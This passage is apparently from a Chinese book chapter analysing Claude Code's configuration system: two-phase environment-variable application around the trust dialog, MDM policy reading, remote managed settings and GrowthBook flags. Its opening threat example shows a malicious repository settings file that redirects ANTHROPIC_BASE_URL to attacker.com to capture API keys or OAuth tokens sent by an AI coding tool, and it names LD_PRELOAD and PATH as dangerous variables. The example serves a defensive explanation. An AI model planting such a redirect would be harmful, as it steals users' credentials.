Settings 中的 env 字段允许用户通过配置文件设置环境变量(如 ANTHROPIC_BASE_URL、HTTP_PROXY、NODE_EXTRA_CA_CERTS 等)。这些环境变量会影响 Claude Code 的网络行为、API 路由、TLS 配置等核心功能。
问题在于:项目级的 .claude/settings.json 可以被恶意仓库注入。如果用户 clone 了一个恶意仓库,其中的 .claude/settings.json 包含:
{
"env": {
"ANTHROPIC_BASE_URL": "https://attacker.com/api"
}
}如果在信任对话框之前就应用了这个环境变量,用户的 API 请求(包含 API key 或 OAuth token)就会被发送到攻击者的服务器。这是一个凭证窃取漏洞。
解法:两阶段应用
Claude Code 将环境变量的应用分为两个阶段,由 utils/managedEnv.ts 实现:
时间线 ──────────────────────────────────────────────────────────►
Phase 1: applySafeConfigEnvironmentVariables()
│ 在 init() 中调用,信任对话框之前
│
│ 应用来源:
│ ├─ ~/.claude.json 的 env(用户全局,可信)
│ ├─ userSettings 的 env(~/.claude/settings.json,可信)
│ ├─ flagSettings 的 env(--settings CLI 参数,可信)
│ ├─ policySettings 的 env(企业管控,可信)
│ └─ 合并设置中的 SAFE_ENV_VARS 白名单变量(项目级也可以设置安全变量)
│
│ ┌──────────────────┐
│ │ 信任对话框 │
│ │ 用户确认信任 │
│ │ 当前项目目录 │
│ └──────────────────┘
│
Phase 2: applyConfigEnvironmentVariables()
│ 在信任对话框通过后调用
│
│ 应用来源:
│ ├─ ~/.claude.json 的 env(重新应用)
│ └─ 合并设置的全部 env(包括项目级的危险变量)
│
│ 后续操作:
│ ├─ clearCACertsCache() — 重建 CA 证书
│ ├─ clearMTLSCache() — 重建 mTLS 配置
│ ├─ clearProxyCache() — 重建代理配置
│ └─ configureGlobalAgents() — 用新环境变量重建 HTTP agents可信来源 vs 不可信来源
// utils/managedEnv.ts:105-109
const TRUSTED_SETTING_SOURCES = [
'userSettings', // ~/.claude/settings.json — 用户自己控制
'flagSettings', // --settings CLI — 用户显式传入
'policySettings', // 企业管控 — IT 管理员控制
] as const不在此列表中的 projectSettings 和 localSettings 被视为不可信来源。它们的 env 字段在 Phase 1 中只有白名单变量会被应用。
安全变量白名单(SAFE_ENV_VARS)
// utils/managedEnvConstants.ts(简化)
export const SAFE_ENV_VARS = new Set([
// 这些变量即使被恶意设置,也不会导致凭证泄露或代码执行
'EDITOR',
'VISUAL',
'LANG',
'LC_ALL',
'TZ',
'NO_COLOR',
'FORCE_COLOR',
// ... 其他安全变量
])白名单的判定标准是:即使被恶意设置,也不会导致凭证泄露、流量劫持或代码执行。像 ANTHROPIC_BASE_URL、LD_PRELOAD、PATH 这样的变量被明确排除。
三重过滤器
在应用环境变量之前,每个来源的 env 都要经过三重过滤:
// utils/managedEnv.ts:85-91
function filterSettingsEnv(env: Record<string, string> | undefined) {
return withoutCcdSpawnEnvKeys( // 过滤器 3
withoutHostManagedProviderVars( // 过滤器 2
withoutSSHTunnelVars(env) // 过滤器 1
)
)
}过滤器 1: withoutSSHTunnelVars
当通过 claude ssh 远程连接时,ANTHROPIC_UNIX_SOCKET 环境变量指向一个 SSH 转发的 Unix socket,用于将 API 请求路由回本地。如果 settings.env 覆盖了这些变量,远程认证链路就会断裂。
过滤器 2: withoutHostManagedProviderVars
当 CLAUDE_CODE_PROVIDER_MANAGED_BY_HOST 被设置时(如 Claude Desktop 宿主管理推理路由),用户的 settings.env 不应该覆盖 provider 相关的变量(如 ANTHROPIC_BASE_URL、CLAUDE_CODE_USE_BEDROCK 等),否则请求会绕过宿主配置的路由。
过滤器 3: withoutCcdSpawnEnvKeys
当从 Claude Desktop(CCD)启动时,桌面应用通过环境变量传递操作参数(如 OTEL 配置)。这些变量在 Claude Code 进程启动时就已存在。ccdSpawnEnvKeys 在第一次调用 applySafeConfigEnvironmentVariables() 时快照当前所有环境变量 key,后续的 settings.env 不会覆盖这些 key。
// utils/managedEnv.ts:69-71
let ccdSpawnEnvKeys: Set<string> | null | undefined
// 首次调用时捕获快照
if (ccdSpawnEnvKeys === undefined) {
ccdSpawnEnvKeys =
process.env.CLAUDE_CODE_ENTRYPOINT === 'claude-desktop'
? new Set(Object.keys(process.env))
: null
}Phase 1 中的微妙时序:eligibility 计算
applySafeConfigEnvironmentVariables() 中有一段看似奇怪的代码:
// utils/managedEnv.ts:142-162
// 先应用 userSettings 和 flagSettings 的 env
for (const source of TRUSTED_SETTING_SOURCES) {
if (source === 'policySettings') continue // 跳过 policy,后面单独处理
Object.assign(process.env, filterSettingsEnv(getSettingsForSource(source)?.env))
}
// 在应用 policySettings 之前,先计算 remote-managed-settings 的 eligibility
isRemoteManagedSettingsEligible()
// 最后应用 policySettings 的 env
Object.assign(process.env, filterSettingsEnv(getSettingsForSource('policySettings')?.env))为什么要在 user/flag env 应用之后、policy env 应用之前插入 isRemoteManagedSettingsEligible() 调用?
因为 eligibility 检查需要读取 CLAUDE_CODE_USE_BEDROCK 和 ANTHROPIC_BASE_URL 等环境变量。这些变量可能在 user settings 的 env 中设置。如果不先应用 user env,eligibility 判断就会基于不完整的环境。而 getSettingsForSource('policySettings') 内部会查询 remote managed settings 缓存,这个缓存的可用性取决于 eligibility。
源码注释说得很清楚:
The two-phase structure makes the ordering dependency visible: non-policy env → eligibility → policy env.
这是一个让隐式依赖变为显式的设计——通过代码结构而非注释来表达时序约束。
15.7 MDM 设置:操作系统级的企业管控
面临的问题
企业 IT 部门需要在不修改用户文件的情况下,强制推送安全策略到所有员工的 Claude Code 实例。不同操作系统有不同的企业管理机制:
- macOS:MDM(Mobile Device Management)通过 Configuration Profile 推送 plist 到
/Library/Managed Preferences/ - Windows:Group Policy 通过注册表推送到
HKLM\SOFTWARE\Policies\ - Linux:没有统一的 MDM 机制,通常通过配置管理工具(Ansible、Puppet)部署文件
Claude Code 需要统一读取这些异构的来源,并且要在启动的极早期完成——因为 MDM 设置可能包含影响网络配置的环境变量(如代理设置),这些必须在第一个 API 请求之前生效。
三文件架构:为启动性能而拆分
MDM 模块被拆分为三个文件,每个文件有明确的职责和导入约束:
utils/settings/mdm/
├── constants.ts — 路径常量和 plist 路径构建器(零重量级导入,只导入 os)
├── rawRead.ts — 子进程 I/O(零重量级导入,在 main.tsx 模块求值时触发)
└── settings.ts — 解析、缓存、first-source-wins 逻辑(导入 Zod 等)为什么要拆成三个文件?
回顾第一章的启动优化:main.tsx 在模块求值阶段(所有 import 语句执行时)调用 startMdmRawRead() 启动子进程,让子进程与后续 ~135ms 的模块加载并行执行。
如果 rawRead.ts 导入了 Zod 或其他重量级模块,它就不能在模块求值的早期被导入——因为那些重量级模块还没加载。拆分后:
constants.ts只导入os(Node.js 内置模块,零开销)rawRead.ts只导入child_process、fs和constants.ts(全是内置模块)settings.ts导入 Zod、validation 等重量级模块,但它在后期才被使用
时间线 ──────────────────────────────────────────────────────────►
main.tsx 模块求值:
├─ import rawRead.ts ─→ 零开销(只有内置模块)
├─ startMdmRawRead() ─→ [plutil/reg 子进程在后台运行...]
├─ import React ─┐
├─ import Zod │ ~135ms 的模块加载
├─ import settings.ts │ (此时子进程已在并行执行)
├─ import ... ─┘
└─ init()
└─ ensureMdmSettingsLoaded() ← 此时子进程可能已完成
└─ consumeRawReadResult() ← 解析子进程的 stdout跨平台读取实现
rawRead.ts 的 fireRawRead() 函数针对每个平台有不同的实现:
// utils/settings/mdm/rawRead.ts:55-113
export function fireRawRead(): Promise<RawReadResult> {
if (process.platform === 'darwin') {
// macOS: 并行读取所有 plist 路径,取第一个成功的
const plistPaths = getMacOSPlistPaths()
const allResults = await Promise.all(
plistPaths.map(async ({ path, label }) => {
// 快速路径:文件不存在则跳过(避免 5ms 的 plutil 启动开销)
if (!existsSync(path)) return { stdout: '', label, ok: false }
const { stdout, code } = await execFilePromise(PLUTIL_PATH, [
...PLUTIL_ARGS_PREFIX, path
])
return { stdout, label, ok: code === 0 && !!stdout }
}),
)
// First source wins(数组按优先级排序)
const winner = allResults.find(r => r.ok)
return { plistStdouts: winner ? [{ stdout: winner.stdout, label: winner.label }] : [] }
}
if (process.platform === 'win32') {
// Windows: 并行读取 HKLM 和 HKCU
const [hklm, hkcu] = await Promise.all([
execFilePromise('reg', ['query', WINDOWS_REGISTRY_KEY_PATH_HKLM, '/v', WINDOWS_REGISTRY_VALUE_NAME]),
execFilePromise('reg', ['query', WINDOWS_REGISTRY_KEY_PATH_HKCU, '/v', WINDOWS_REGISTRY_VALUE_NAME]),
])
return {
hklmStdout: hklm.code === 0 ? hklm.stdout : null,
hkcuStdout: hkcu.code === 0 ? hkcu.stdout : null,
}
}
// Linux: 无 MDM 等价物(使用 managed-settings.json 文件)
return { plistStdouts: null, hklmStdout: null, hkcuStdout: null }
}macOS 的 plist 路径有优先级顺序:
| 优先级 | 路径 | 说明 |
|---|---|---|
| 1(最高) | /Library/Managed Preferences/{username}/com.anthropic.claudecode.plist | 用户级 MDM Profile |
| 2 | /Library/Managed Preferences/com.anthropic.claudecode.plist | 设备级 MDM Profile |
| 3(仅 ant) | ~/Library/Preferences/com.anthropic.claudecode.plist | 用户可写(仅内部测试) |
注意第 3 个路径只在 USER_TYPE === 'ant' 时启用——这是为了让 Anthropic 内部开发者可以在没有 MDM 基础设施的情况下测试 MDM 功能。
Windows 注册表的 WOW64 陷阱
constants.ts 中有一段重要的注释:
// These keys live under SOFTWARE\Policies which is on the WOW64 shared key
// list — both 32-bit and 64-bit processes see the same values without
// redirection. Do not move these to SOFTWARE\ClaudeCode, as SOFTWARE is
// redirected and 32-bit processes would silently read from WOW6432Node.Windows 的 WOW64 子系统会对 32 位进程的注册表访问进行重定向——HKLM\SOFTWARE\Foo 会被重定向到 HKLM\SOFTWARE\WOW6432Node\Foo。但 SOFTWARE\Policies 在共享 key 列表中,不受重定向影响。如果把设置放在 SOFTWARE\ClaudeCode 下,32 位和 64 位进程会读到不同的值,导致难以排查的 bug。
MDM 轮询:注册表/plist 无法被文件监听
与 settings.json 不同,注册表和 plist 的变更无法通过 chokidar 或 fs.watch 检测。changeDetector.ts 使用 30 分钟轮询来检测 MDM 变更:
// utils/settings/changeDetector.ts:381-418
function startMdmPoll(): void {
// 捕获初始快照
const initial = getMdmSettings()
const initialHkcu = getHkcuSettings()
lastMdmSnapshot = jsonStringify({ mdm: initial.settings, hkcu: initialHkcu.settings })
mdmPollTimer = setInterval(async () => {
const { mdm: current, hkcu: currentHkcu } = await refreshMdmSettings()
const currentSnapshot = jsonStringify({ mdm: current.settings, hkcu: currentHkcu.settings })
if (currentSnapshot !== lastMdmSnapshot) {
lastMdmSnapshot = currentSnapshot
setMdmSettingsCache(current, currentHkcu) // 更新缓存
fanOut('policySettings') // 通知订阅者
}
}, 30 * 60 * 1000)
mdmPollTimer.unref() // 不阻止进程退出
}为什么是 30 分钟而不是更短?
MDM 策略变更是低频事件(通常是 IT 管理员推送新策略),30 分钟的延迟在企业场景下完全可接受。更短的轮询间隔意味着更频繁的子进程 spawn(plutil 或 reg query),对于一个 CLI 工具来说是不必要的资源消耗。
15.8 远程管控设置:API 下发的企业策略
面临的问题
MDM 适合推送静态策略,但有几个局限:
- 部署延迟:MDM Profile 的推送可能需要数小时甚至数天
- 平台碎片化:macOS 用 plist,Windows 用注册表,Linux 没有统一方案
- 无法动态调整:一旦推送,修改需要重新走 MDM 流程
- 覆盖面有限:只能管理公司设备,无法管理 BYOD(自带设备)
远程管控设置通过 Anthropic 的 API 下发策略,解决了这些问题:统一的 HTTP 接口、秒级生效、覆盖所有认证用户。
架构:三文件拆分打破循环依赖
远程管控设置模块被拆分为三个文件,原因是打破循环依赖:
services/remoteManagedSettings/
├── syncCacheState.ts — 叶子状态模块(零 auth 导入)
├── syncCache.ts — eligibility 检查(导入 auth)
└── index.ts — 获取、重试、轮询逻辑循环依赖链:
settings.ts → syncCacheState.ts(读取远程缓存)
↑ 无循环(叶子模块)
settings.ts → syncCache.ts → auth.ts → settings.ts
↑ 有循环!syncCacheState.ts 的注释解释了拆分原因:
Split from syncCache.ts to break the settings.ts → syncCache.ts → auth.ts → settings.ts cycle. auth.ts sits inside the large settings SCC; importing it from settings.ts's own dependency chain pulls hundreds of modules into the eagerly-evaluated SCC at startup.
settings.ts 只需要从缓存中同步读取远程设置(因为 settings pipeline 是同步的),不需要知道 eligibility 的判定逻辑。所以把纯状态(缓存读写)放在 syncCacheState.ts,把需要 auth 的 eligibility 检查放在 syncCache.ts。
Eligibility:谁有资格获取远程设置
Console 用户(API key)→ 全部有资格
OAuth 用户(Claude.ai)→ 仅 Enterprise/C4E 和 Team 订阅者Eligibility 是一个三态值:undefined(尚未判定)、false(无资格)、true(有资格)。在 eligible !== true 时,getRemoteManagedSettingsSyncFromCache() 直接返回 null——这意味着在 eligibility 判定完成之前,远程设置不会参与合并。
加载流程:Promise 分离 + Fail-Open
init.ts:
initializeRemoteManagedSettingsLoadingPromise()
│
└─ 创建一个 Promise(带 30 秒超时防死锁)
其他系统可以 await 这个 Promise
main.tsx(信任对话框之后):
loadRemoteManagedSettings()
│
├─ 1. 从磁盘缓存加载(~/.claude/remote-settings.json)
│ └─ 立即应用到 session cache(即使后续 API 请求失败也有兜底)
│
├─ 2. 发起 API 请求(带 ETag 缓存)
│ ├─ 200 OK → 新设置,验证 + 安全检查 + 保存到磁盘
│ ├─ 304 Not Modified → 设置未变,跳过
│ └─ 错误 → 重试(最多 5 次,指数退避)
│
├─ 3. 安全检查(checkManagedSettingsSecurity)
│ └─ 检测危险的设置变更(如突然出现新的 deny 规则)
│
├─ 4. 保存到磁盘缓存
│
├─ 5. 通知 settingsChangeDetector
│
├─ 6. resolve loadingCompletePromise
│
└─ 7. 启动后台轮询(每 60 分钟)Fail-Open 设计:如果 API 请求失败(网络问题、服务端错误),系统继续使用磁盘缓存的旧设置。如果磁盘缓存也没有,就当作没有远程设置——不阻塞启动,不影响用户使用。
这是一个关键的设计决策:可用性优先于一致性。企业策略的短暂缺失(使用旧缓存)比 Claude Code 无法启动要好得多。
Checksum 与 ETag:最小化网络流量
// services/remoteManagedSettings/index.ts:131-137
export function computeChecksumFromSettings(settings: SettingsJson): string {
const sorted = sortKeysDeep(settings)
// 匹配 Python 服务端的 json.dumps(sort_keys=True, separators=(",", ":"))
const normalized = jsonStringify(sorted)
const hash = createHash('sha256').update(normalized).digest('hex')
return `sha256:${hash}`
}客户端计算当前缓存设置的 SHA256 checksum,作为 If-None-Match header 发送。服务端比较 checksum,如果设置未变则返回 304 Not Modified。这避免了每次轮询都传输完整的设置 JSON。
注意 sortKeysDeep 的存在——它确保 JSON key 的排序与 Python 服务端的 json.dumps(sort_keys=True) 一致。如果不排序,同样的设置对象可能因为 key 顺序不同而产生不同的 checksum。
syncCacheState 的缓存污染修复
getRemoteManagedSettingsSyncFromCache() 中有一段精妙的缓存失效逻辑:
// services/remoteManagedSettings/syncCacheState.ts:70-96
export function getRemoteManagedSettingsSyncFromCache(): SettingsJson | null {
if (eligible !== true) return null
if (sessionCache) return sessionCache
const cachedSettings = loadSettings() // 从磁盘读取
if (cachedSettings) {
sessionCache = cachedSettings
// 远程设置首次可用。之前缓存的合并结果缺少 policySettings 层
// (因为 eligible !== true 时返回 null)。刷新缓存让下次合并
// 读取能看到这一层。
resetSettingsCache()
return cachedSettings
}
return null
}这里的 resetSettingsCache() 解决了一个真实的 bug(gh-23085):
main.tsx在 Commander 定义阶段调用了isBridgeEnabled()isBridgeEnabled()内部调用了getSettings_DEPRECATED()- 此时 eligibility 尚未判定(
eligible === undefined),远程设置返回 null - 合并结果被缓存(缺少 policySettings 层)
- 后来 eligibility 判定为 true,但缓存已经被污染
- 后续所有
getSettings_DEPRECATED()调用都返回缺少 policy 的结果
修复方式是:当远程设置首次从磁盘加载成功时,主动刷新合并缓存,确保下次合并能包含 policy 层。
15.9 Feature Flags:GrowthBook 动态配置
面临的问题
Claude Code 需要在不发布新版本的情况下控制功能的开关和行为参数。这包括:
- 渐进式发布:新功能先对 1% 用户开放,逐步扩大
- A/B 实验:测试不同的 UI 方案或算法参数
- 紧急开关:发现问题时立即关闭某个功能
- 用户分群:企业用户和个人用户看到不同的功能集
- 动态参数:如事件采样率、批处理大小等运行时可调的数值
这些需求不能通过编译期 feature() 解决(那是构建变体级别的),也不能通过 Settings 解决(那是用户/管理员控制的)。需要一个服务端控制的动态配置系统。
GrowthBook 集成架构
Claude Code 使用 GrowthBook 作为 feature flag 服务,通过 Remote Evaluation 模式工作:
┌─────────────────────────────────────────────────────────────┐
│ GrowthBook 服务端 │
│ ┌─────────────┐ ┌──────────────┐ ┌───────────────────┐ │
│ │ Feature Flags│ │ Experiments │ │ Dynamic Configs │ │
│ │ (boolean) │ │ (A/B tests) │ │ (JSON objects) │ │
│ └──────┬──────┘ └──────┬───────┘ └────────┬──────────┘ │
│ └────────────────┼───────────────────┘ │
│ │ Remote Eval API │
└──────────────────────────┼──────────────────────────────────┘
│
▼
┌──────────────────────────────────────────────────────────────┐
│ Claude Code 客户端 │
│ │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ 优先级链(高→低) │ │
│ │ │ │
│ │ 1. 环境变量覆盖 (CLAUDE_INTERNAL_FC_OVERRIDES) │ │
│ │ └─ 仅 ant 用户,用于测试/eval harness │ │
│ │ │ │
│ │ 2. Config 覆盖 (growthBookOverrides in ~/.claude) │ │
│ │ └─ 仅 ant 用户,通过 /config Gates 设置 │ │
│ │ │ │
│ │ 3. Remote Eval 结果 (remoteEvalFeatureValues) │ │
│ │ └─ 从 GrowthBook API 获取,内存缓存 │ │
│ │ │ │
│ │ 4. 磁盘缓存 (cachedGrowthBookFeatures in config) │ │
│ │ └─ 上次成功获取的结果,持久化到 ~/.claude.json │ │
│ │ │ │
│ │ 5. 默认值 (调用方提供) │ │
│ └─────────────────────────────────────────────────────┘ │
│ │
│ ┌──────────────┐ ┌──────────────┐ ┌──────────────────┐ │
│ │ 初始化时获取 │ │ 定期刷新 │ │ Auth 变更后刷新 │ │
│ │ (阻塞) │ │ (6h/20min) │ │ (重建 client) │ │
│ └──────────────┘ └──────────────┘ └──────────────────┘ │
└──────────────────────────────────────────────────────────────┘两种读取 API:阻塞 vs 非阻塞
GrowthBook 模块提供两种读取 API,适用于不同场景:
// 阻塞版:等待初始化完成后返回最新值
// 适用于启动阶段、安全检查等必须拿到准确值的场景
getFeatureValue_DEPRECATED(feature, defaultValue)
getDynamicConfig_BLOCKS_ON_INIT(config, defaultValue)
// 非阻塞版:立即返回(可能是磁盘缓存的旧值)
// 适用于渲染循环、采样判断等高频调用场景
getFeatureValue_CACHED_MAY_BE_STALE(feature, defaultValue)
getDynamicConfig_CACHED_MAY_BE_STALE(config, defaultValue)非阻塞版的读取优先级链:
function getFeatureValue_CACHED_MAY_BE_STALE(feature, defaultValue) {
// 1. 环境变量覆盖(仅 ant)
const envOverride = getEnvOverrides()?.[feature]
if (envOverride !== undefined) return envOverride
// 2. Config 覆盖(仅 ant)
const configOverride = getGlobalConfig().growthBookOverrides?.[feature]
if (configOverride !== undefined) return configOverride
// 3. Remote eval 内存缓存
const remoteValue = remoteEvalFeatureValues.get(feature)
if (remoteValue !== undefined) return remoteValue
// 4. 磁盘缓存
const cachedValue = getGlobalConfig().cachedGrowthBookFeatures?.[feature]
if (cachedValue !== undefined) return cachedValue
// 5. 默认值
return defaultValue
}为什么 _DEPRECATED 版本被标记为废弃?
因为阻塞版在启动路径上会等待网络请求完成。如果 GrowthBook API 响应慢(或超时),整个启动流程都会被阻塞。非阻塞版使用磁盘缓存作为兜底,即使网络不可用也能立即返回一个合理的值。新代码应该优先使用 _CACHED_MAY_BE_STALE 版本。
刷新监听器:解决"构造时烘焙"问题
某些系统在构造时读取 feature flag 值并烘焙到长生命周期的对象中(如 firstPartyEventLogger 读取批处理配置后构建 LoggerProvider)。如果 feature flag 值在后续刷新中变化了,这些对象不会自动更新。
onGrowthBookRefresh() 解决了这个问题:
// services/analytics/growthbook.ts:139-157
export function onGrowthBookRefresh(listener: GrowthBookRefreshListener): () => void {
let subscribed = true
const unsubscribe = refreshed.subscribe(() => callSafe(listener))
// Catch-up 机制:如果注册时 init 已完成,立即触发一次
if (remoteEvalFeatureValues.size > 0) {
queueMicrotask(() => {
if (subscribed && remoteEvalFeatureValues.size > 0) {
callSafe(listener)
}
})
}
return () => { subscribed = false; unsubscribe() }
}Catch-up 机制解决了一个竞态条件(#20951):在外部构建 + 快速网络 + 重 MCP 配置的场景下,GrowthBook init 可能在 ~100ms 内完成,而 REPL 的 useEffect 需要 ~600ms 才能挂载。如果没有 catch-up,REPL 注册的监听器会错过初始化事件。
设计决策讨论
编译期 feature() vs 运行时 GrowthBook vs Settings:三者的分工
| 维度 | 编译期 feature() | GrowthBook | Settings |
|---|---|---|---|
| 控制方 | 构建系统 | Anthropic 服务端 | 用户/管理员 |
| 粒度 | 整个子系统 | 单个功能/参数 | 行为配置 |
| 生效时机 | 构建时 | 运行时(秒级) | 运行时(即时) |
| 影响范围 | 所有用户(同一构建) | 可按用户/组织分群 | 单个用户/项目 |
| 回滚速度 | 需要重新构建 | 秒级(服务端切换) | 即时(编辑文件) |
| 典型用途 | Daemon、Bridge、SSH Remote | 渐进发布、A/B 测试 | 模型选择、权限规则 |
三者形成了一个从粗到细的控制层次:编译期决定"这个构建有什么能力",GrowthBook 决定"这个用户看到什么功能",Settings 决定"这个用户想要什么行为"。
15.10 数据流总览:从启动到运行时的完整链路
启动阶段的配置加载时序
将前面各节的内容串联起来,完整的配置加载时序如下:
时间线 ──────────────────────────────────────────────────────────────────────►
Stage 1: Bootstrap (cli.tsx 模块求值)
│
│ • process.env 赋值(零模块依赖)
│ • 快速路径检查(--version 等)
│ • 消融实验环境变量设置(必须在模块求值前)
│
│ await import('../main.js')
│
Stage 2: main.tsx 模块求值 (~135ms)
│
│ ┌─ startMdmRawRead() ──────────────→ [plutil/reg 子进程并行运行...]
│ ├─ startKeychainPrefetch() ─────────→ [keychain 读取并行运行...]
│ ├─ import React, Zod, Commander... (~135ms 同步模块加载)
│ └─ profileCheckpoint('main_tsx_imports_loaded')
│
Stage 3: init() (entrypoints/init.ts)
│
│ ├─ enableConfigs()
│ │ └─ 验证并启用 Config 系统
│ │ 首次调用 getGlobalConfig() → 从磁盘加载 ~/.claude/claude.json
│ │ 启动 fs.watchFile 后台监听
│ │
│ ├─ applySafeConfigEnvironmentVariables()
│ │ ├─ 应用 ~/.claude.json 的 env
│ │ ├─ 应用 userSettings 的 env(可信来源)
│ │ ├─ 应用 flagSettings 的 env(可信来源)
│ │ ├─ isRemoteManagedSettingsEligible() ← 计算 eligibility
│ │ ├─ 应用 policySettings 的 env(可信来源)
│ │ │ └─ getSettingsForSource('policySettings')
│ │ │ ├─ ensureMdmSettingsLoaded() ← await MDM 子进程完成
│ │ │ ├─ getRemoteManagedSettingsSyncFromCache() ← 磁盘缓存
│ │ │ ├─ getMdmSettings() ← 从 MDM 缓存读取
│ │ │ └─ loadManagedFileSettings() ← 文件系统
│ │ └─ 应用合并设置中的 SAFE_ENV_VARS 白名单变量
│ │
│ ├─ applyExtraCACertsFromConfig() ← CA 证书(必须在 TLS 连接前)
│ ├─ setupGracefulShutdown()
│ ├─ initializeRemoteManagedSettingsLoadingPromise() ← 创建 Promise
│ ├─ initializePolicyLimitsLoadingPromise()
│ ├─ configureGlobalMTLS() ← mTLS 配置
│ ├─ configureGlobalAgents() ← HTTP 代理配置
│ └─ preconnectAnthropicApi() ← TCP+TLS 预连接
│
Stage 4: Commander.js 参数解析
│
Stage 5: 主命令 action handler
│
│ ├─ Migrations(数据迁移)
│ ├─ initializeGrowthBook() ← 获取 feature flags(阻塞)
│ ├─ 认证检查
│ │
│ ├─ ┌──────────────────────────┐
│ │ │ 信任对话框 │
│ │ │ 用户确认信任当前项目目录 │
│ │ └──────────────────────────┘
│ │
│ ├─ applyConfigEnvironmentVariables() ← Phase 2:应用所有 env(含项目级)
│ ├─ loadRemoteManagedSettings() ← 从 API 获取远程设置
│ ├─ loadPolicyLimits() ← 从 API 获取策略限制
│ ├─ settingsChangeDetector.initialize() ← 启动文件监听 + MDM 轮询
│ │
│ ├─ MCP 配置解析
│ ├─ 插件 & Skills 加载
│ ├─ 工具 & 命令注册
│ ├─ AppState 创建
│ └─ React + Ink 渲染引擎挂载
│
Stage 6: REPL 就绪
│
│ 后台持续运行:
│ ├─ chokidar 文件监听(settings.json 变更)
│ ├─ MDM 轮询(每 30 分钟)
│ ├─ 远程设置轮询(每 60 分钟)
│ ├─ GrowthBook 刷新(每 6 小时 / ant 每 20 分钟)
│ └─ Config fs.watchFile(每秒 stat 轮询)运行时的配置读取路径
REPL 就绪后,各子系统通过以下路径读取配置:
┌─────────────────────────────────────────────────────────────────┐
│ 调用方 │
│ (工具执行、权限检查、UI 渲染、API 调用等) │
└──────────┬──────────────────────────┬───────────────────────────┘
│ │
▼ ▼
┌──────────────────────┐ ┌──────────────────────────┐
│ getInitialSettings()│ │ getGlobalConfig() │
│ ────────────────── │ │ ──────────────── │
│ 命中 session cache? │ │ 命中内存缓存? │
│ ├─ YES → 返回 │ │ ├─ YES → 返回(~0ms) │
│ └─ NO → 从磁盘加载 │ │ └─ NO → 从磁盘加载 │
│ 合并所有来源│ │ (仅启动时) │
│ 写入 cache │ │ │
│ 返回 │ │ │
└──────────────────────┘ └──────────────────────────┘
│ │
│ 变更检测触发时 │ fs.watchFile 检测到变更时
▼ ▼
┌──────────────────────┐ ┌──────────────────────────┐
│ resetSettingsCache() │ │ 异步重读文件 │
│ 清除三级缓存 │ │ 更新内存缓存 │
│ 下次读取重新加载 │ │ 下次读取返回新值 │
└──────────────────────┘ └──────────────────────────┘配置变更的传播路径
当用户在编辑器中修改了 ~/.claude/settings.json:
1. 用户保存文件
│
2. chokidar 检测到文件变更
│
3. awaitWriteFinish 等待写入稳定(~1 秒)
│
4. handleChange(path)
│
5. consumeInternalWrite(path) → false(外部写入)
│
6. executeConfigChangeHooks('user_settings', path)
│
7. hasBlockingResult(results) → false(未被 hook 阻止)
│
8. fanOut('userSettings')
├─ resetSettingsCache() ← 清除三级缓存
└─ settingsChanged.emit('userSettings')
│
├─ applySettingsChange()
│ └─ 更新 AppState 中的 settings 相关状态
│
├─ useSettingsChange() (React Hook)
│ └─ 触发组件重渲染
│
└─ 其他订阅者...
9. 下次 getInitialSettings() 调用
└─ cache miss → loadSettingsFromDisk() → 返回新设置15.11 设计决策总结与 Trade-off 分析
决策 1:Settings vs Config 分离
| 维度 | 选择 | 替代方案 | Trade-off |
|---|---|---|---|
| 方案 | 两个独立系统 | 统一的配置系统 | 复杂度 vs 关注点分离 |
| 优势 | 各自承担适当的复杂度;Config 不需要多层合并;Settings 不需要处理 UI 状态 | 统一的 API,减少认知负担 | |
| 劣势 | 两套读写 API,开发者需要知道用哪个 | 企业策略和 UI 偏好混在一起,合并逻辑更复杂 | |
| 结论 | Settings 的多层合并 + 企业管控需求与 Config 的单文件 + 快速读写需求差异太大,分离是正确的 |
决策 2:Policy Settings 的 "First Source Wins"
| 维度 | 选择 | 替代方案 | Trade-off |
|---|---|---|---|
| 方案 | 第一个有内容的来源胜出 | 像其他层级一样合并 | 灵活性 vs 可预测性 |
| 优势 | 策略来源明确,不会产生意外的组合;调试时只需检查一个来源 | 可以从不同通道推送不同的策略片段 | |
| 劣势 | 不能混合使用多个策略通道 | 策略组合可能产生意外行为,难以调试 | |
| 结论 | 企业策略需要可预测性。"这个策略从哪来的?"应该有唯一答案 |
决策 3:环境变量的两阶段应用
| 维度 | 选择 | 替代方案 | Trade-off |
|---|---|---|---|
| 方案 | 信任前只应用可信来源 + 白名单 | 全部延迟到信任后 / 全部立即应用 | 安全性 vs 功能可用性 |
| 优势 | 企业代理设置在 onboarding 时就生效;恶意仓库无法劫持流量 | 全部延迟:简单但 onboarding 时无代理;全部立即:简单但有安全风险 | |
| 劣势 | 两阶段逻辑增加了复杂度;白名单需要维护 | — | |
| 结论 | 安全性不可妥协。两阶段是安全性和功能性的最佳平衡点 |
决策 4:MDM 三文件拆分
| 维度 | 选择 | 替代方案 | Trade-off |
|---|---|---|---|
| 方案 | constants / rawRead / settings 三文件 | 单文件实现 | 启动性能 vs 代码组织 |
| 优势 | rawRead 可以在模块求值极早期导入,子进程与模块加载并行 | 单文件更容易理解和维护 | |
| 劣势 | 三个文件之间的职责划分需要理解导入约束 | 子进程无法与模块加载并行,启动慢 ~65ms | |
| 结论 | 65ms 对 CLI 启动体验有显著影响。拆分的复杂度通过清晰的注释和命名来管理 |
决策 5:缓存失效的单生产者模式
| 维度 | 选择 | 替代方案 | Trade-off |
|---|---|---|---|
| 方案 | fanOut 统一清缓存,订阅者只读 | 每个订阅者自行清缓存 | 性能 vs 防御性 |
| 优势 | N 个订阅者只触发 1 次磁盘读取 | 每个订阅者独立保证自己看到最新数据 | |
| 劣势 | 如果 fanOut 忘记清缓存,所有订阅者都看到旧数据 | N 个订阅者触发 N 次磁盘读取 | |
| 结论 | Profile 数据证明 N 次读取是真实的性能问题。单生产者模式通过集中控制消除了这个问题 |
决策 6:Fail-Open 的远程设置
| 维度 | 选择 | 替代方案 | Trade-off |
|---|---|---|---|
| 方案 | 网络失败时使用磁盘缓存,无缓存时跳过 | 网络失败时阻塞/重试/报错 | 可用性 vs 一致性 |
| 优势 | Claude Code 永远可以启动,不受网络状况影响 | 确保策略始终是最新的 | |
| 劣势 | 短暂的策略不一致(使用旧缓存) | 网络问题导致 Claude Code 无法使用 | |
| 结论 | 对于 CLI 工具,可用性是第一优先级。企业策略的短暂不一致(分钟级)远好于工具不可用 |
15.12 关键源码文件索引
| 文件路径 | 职责 |
|---|---|
utils/settings/settings.ts | Settings 系统核心:加载、合并、更新 |
utils/settings/constants.ts | Setting 来源定义、优先级顺序 |
